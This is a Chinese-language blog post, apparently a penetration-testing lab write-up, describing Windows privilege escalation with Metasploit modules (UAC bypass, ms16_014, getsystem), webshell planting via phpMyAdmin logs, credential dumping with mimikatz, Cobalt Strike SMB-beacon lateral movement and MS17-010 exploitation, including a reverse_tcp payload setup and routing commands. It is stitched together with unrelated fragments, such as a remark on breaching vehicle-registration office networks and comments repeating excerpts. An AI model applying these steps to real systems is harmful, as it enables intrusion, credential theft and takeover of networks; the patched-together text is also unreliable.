作者:hacker发布时间:2022-12-18分类:入侵后台浏览:191评论:3
在上篇文章中,通过win7运行msf.exe,kali接收到一个session,但这个session权限只是普通权限,无法做更多的操作。
权限提升
1.提高程序运行级别
2.UAC绕过
3.利用提权漏洞进行提权
提高程序运行级别
msf模块exploit/windows/local/ask
但会触发UAC,只有当用户同意是才能获得更高权限
可以看到session 5只是普通权限,这时候利用ask模块进行提权,该模块需要设置要用来提权的session,以及启动程序的名称
ask模块设置完成后,就可以使用了,运行exploit,回到win7,可以看见弹出一个execl.exe程序框,如果你点击是,则kali会获得一个新的session,如果点击否,则kali会得到失败信息。
Win7 截图:
win7 点击 否,kali返回信息:
win7 点击 是,kali获取到新的session
使用background退出这个meterpreter
使用sessions,查看session
使用sessions -i 6,进入新获取的session
使用getuid查看该session权限
发现还是普通权限
这时候使用getsystem,获得系统权限
再使用getuid查看
UAC绕过
msf模块
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_vbs
这里使用第一个模块进行绕过UAC提权
利用提权漏洞进行提权
exploit/windows/local/ms14_058_track_popup_menu
等等
这里使用
exploit/windows/local/ms16_014_wmi_recv_notif
这个模块,同样使用info和show options查看信息,只需要设置一个session就可以使用
攻击成功会直接返回一个shell,使用whoami查看权限
成功提权
当然可以了,前提是你能渗透成功啊。
比如sql-injection的话,一般它的获取权限逻辑是这样的:
首先通过sql-in工具寻找入注点,然后你就可以通过不同的sql命令来完成对数据库的操作,虽然此时你不是直接拥有了管理员账户密码,但是你却有管理员权限。
UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。
当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac
开始提权
getsystem
提权失败 一般都是上面说的uac的问题 常识 bypass uac
输入background 让该会话在后台运行 不在这个模式下 没办法调用msf的提权模块
使用提权工具
set SESSION 2(这个session要和之前监听的那个session一样 否则不成功)
set TECHNIQUE up.exe
set TECHNIQUE EXE
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.107
show options
sessions -i
exploit
或者使用
use post/windows/gather/enum_patches
需要设置一下session
如果目标系统安装了安全更新的话是无法提权成功的
出现这种情况就是无法成功提权 可利用的漏洞都被打上补丁了
或者漏洞编号:ms11-080
windows 7、8、08、12、16下可以成功 2003也可以
关于sc命令:
SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
这个命令的意思是创建一个名叫syscmd的新的交互式的cmd服务
然后执行
sc start systcmd,就得到了一个system权限的cmd环境
配置网络
在VM虚拟机中按照下边的网络拓扑进行配置网络。网络拓扑图如下:
win7具有双网卡,其中外网ip是192.168.8.133,内网网段是52。三台机器彼此互通,但是win server 2008和win2003不通外网。用我mac作为攻击机,来对这个靶场环境进行渗透测试。
外网打点
在win7这台靶机上,使用PHPStudy让网站可以运行起来。在攻击机上,访问 可以看到是一个phpStudy 探针。对这网站进行渗透,因为本文主要写在内网渗透过程中对不出网主机的渗透,所以此处外网打点就不写的很详细了。
针对此靶场进行外网渗透拿权限大致有这几种方法:
通过phpmyadmin弱口令,进入phpmyadmin后台。然后知识点就变成了,通过phpmyadmin进行getshell,这个点又分为,得到网站绝对路径后,使用select into outfile的方式写shell和利用日志写shell。在此处,我是使用日志写shell的方法拿到权限。因为secure_file_priv配置为null,禁止修改目录下的文件,也就不能使用into outfile的方式写入shell。
通过目录扫描可以扫出beifen.rar,备份文件。在源码中可以找到登陆后台的账号密码:admin/123456和登陆路径/index.php?r=admin,在前台模板文件中添加一句话木马连接也可获取shell。
获得webshell的信息收集
通过外网打点获得的webshell,可以进行一波信息收集,摸清我是谁?我在哪?有没有内网环境?有没有杀软?通过拿到webshell后的信息收集的结果来评估一下有没有必要继续深入或者初步了解继续深入的话需要哪些手段。
我是谁?
蚁剑已经给出基础信息
我在哪?
使用ipconfig /all 看一下网络信息
目标有两个网卡,并且存在域环境,那么就有打它内网的必要了。
有没有杀软?
tasklist查看一下进程信息
根据进程查一下是否有杀软
目标没有使用杀软,还有域环境那么让它直接cs上线。
内网渗透
cs上线
内网信息收集
信息收集每个人都有自己的习惯,信息收集的顺序和信息收集的项目也都不太一样,只要根据自己的习惯和嗅觉,针对目标具体情况进行收集,以求尽快的拿下目标就好。信息收集的越全面突破口也就会越多,考虑到篇幅和文章内容匹配度等因素,此处并没有写出大量信息收集方法。
使用cs自带的net view查看域信息。
使用cs自带功能进行端口扫描,分别对8和52两个网段进行扫描进行完这两个步骤以后,cs会把扫到的目标列出来。
因为拿到的是管理员权限,可以先抓一波密码。用 cs 的 hashdump 读内存密码,用 mimikatz 读注册表密码:logonpasswords。
此处打码的地方是因为配置靶机登陆时靶机提示重置密码,我给靶机改了个包含个人信息的密码。蠢哭。拿到密码后,目标主机没有开启防火墙,可以使用cs自带的psexec做一波横向,因为抓到很多域中机器密码,域控密码也抓到了。
内网横向(通过登录凭证)
这个靶机设置的比较简单,抓到密码后,因为抓到了域控登陆的凭证,那么使用psexec即可横向内网所有机器。因为,另外两台内网的机器不出网,那么就到了本文着重练习的点了,打不出网的机器。
不出网机器上线一般有以下几种方式:
使用smb beacon
配置listener通过HTTP代理上线
使用pystinger搭建socks4代理
这几种方式之前有师傅也在先知写过 《不出网主机上线方法》 。此处我采用的SMB beacon这个方法。
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。
首先得到内网中一台主机的beacon,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线
使用条件
具有 SMB Beacon 的主机必须接受 445 端口上的连接。
只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
使用方法:
1.建立smb的listener
2.在cs中使用psexec进行横向移动,选择现有的beacon作为跳板,这里凭据必须是administrator ,即拥有目标主机管理员权限
3.连接成功,可以看到smb beacon上线的主机右侧有∞∞标识
使用这种方法上线的机器,主要是通过出网机作为一个中间人,不出网主机成功上线后,如果出网机一断开,这个不出网主机也会断。
内网横向(通过ms-17010)
在拿下win7的时候,可以给它传一个fscan,给win7做一个内网大保健。上传fscan后,运行扫一下内网。
发现存在ms17010。
ms17010常见的几种打法:
msf
ladon/ladon_ms17010
从msf分离出的exe
nessus里的exe
cs插件
这几种打法,我在这个环境中都做过尝试。过程就不一一叙述了,直接说我测试的结果。msf是最稳定的,但是打起来有稍许的麻烦因为要设置监听模块和选择攻击模块等配置。ladon_ms17010方便但是不太稳有时候会打不成功。cs插件也不稳,并且在这种不出网网络不稳定的情况下成功率会变的更低。
这个图片的ip可能跟上边配置符不起来,因为我在测试过程中,网断过几次,ip就变了。所以,在打的时候,如果ladon和分离出的exe没有打成,不要轻易放弃,用msf在打打试试,毕竟工具就是工具,不能过分依赖某个工具。
在这种不出网的情况下,可以优先考虑使用从msf分离出的exe和ladon_ms17010来打,打成功会直接通过自定义的dll新建一个用户并加入管理员组,开启3389端口。根据实际情况,可考虑在合适的时间段和条件下直接远程登入,翻一下敏感数据,往往会因为运维人员的很多“好习惯”而给渗透带来很多便利,比如说“密码本.txt”。
msf打不出网机器的ms17010
msf在单兵作战的时候还是很稳定很香的。首先,让出网机器先在msf上线,可以用cs直接传递会话,或者生成个msf马直接运行一下。在这的方法就很多了。win7在msf上线后,因为我们已经提前知道了,存在52这个不出网的段,那么就需要在msf中添加路由。
查看路由
run get_local_subnets
添加路由
run autoroute -s 192.168.52.0/24
查看添加的路由
run autoroute -p
把shell切换到后台,然后使用ms17010模块进行漏洞利用,监听时使用正向监听,即可
小贴士:
漏洞检测方法:
use auxiliary/scanner/smb/smb_ms17_010
之后设置一下目标ip和线程即可,这里因为已经扫出存在漏洞的机器了,也就不在叙述。
漏洞利用常使用的是:
auxiliary/admin/smb/ms17_010_command
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms17_010_psexec
这里的第一个和第三个模块需要目标开启命名管道,并且比较稳定。第二个模块只要存在漏洞即可,但是会有概率把目标打蓝屏,而且杀软拦截也会比较严格,如果有杀软就基本可以放弃这个模块了。
在打ms17010的时候,不妨使用auxiliary/admin/smb/ms17_010_command模块探测一下是否可以使用命名管道。
use auxiliary/admin/smb/ms17_010_commandsetrhosts192.168.164.156192.168.164.161setcommandtasklistshow optionsrun
如果命令执行成功的话就可以优先考虑
auxiliary/admin/smb/ms17_010_commandexploit/windows/smb/ms17_010_psexec
这两个模块进行利用。
我在上边打得时候因为目标机器没有杀软就直接使用exploit/windows/smb/ms17_010_eternalblue来打了,期间为了测试打过多次,确实出现了把目标机器打重启的情况。
总结
这个靶场设计的技能点比较基础,外网打点获得shell后,直接可以通过cs上线,在管理员权限下,抓取密码,新建一个smb beacon然后使用psexec对内网两台不出网的机器进行横向。
看情况,有些地方的车管所使用的是内网,那样的话没有物理连接的话是渗透不进去的,有些地方的车管所不在意这些,内网外网同时开,这种情况下如果车管所的电脑有漏洞,的确是可以渗透进去的。不过你要是考证的话我不建议你去找这些,现在网上骗子挺多的。
标签:用工具渗透拿权限
已有3位网友发表了看法:
访客 评论于 2022-12-18 11:45:18 回复
用日志写shell。在此处,我是使用日志写shell的方法拿到权限。因为secure_file_priv配置为null,禁止修改目录下的文件,也就不能使用into outfile的方式写入shell。通过目录扫描可以扫出beifen.rar,备份文件。在源码中可以找到登陆后台的账号
访客 评论于 2022-12-18 11:57:52 回复
acon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在S
访客 评论于 2022-12-18 07:52:01 回复
ions -i 6,进入新获取的session 使用getuid查看该session权限 发现还是普通权限 这时候使用getsystem,获得系统权限 再使用getuid查看 UAC绕过 msf模块 exploit/windows/local/bypa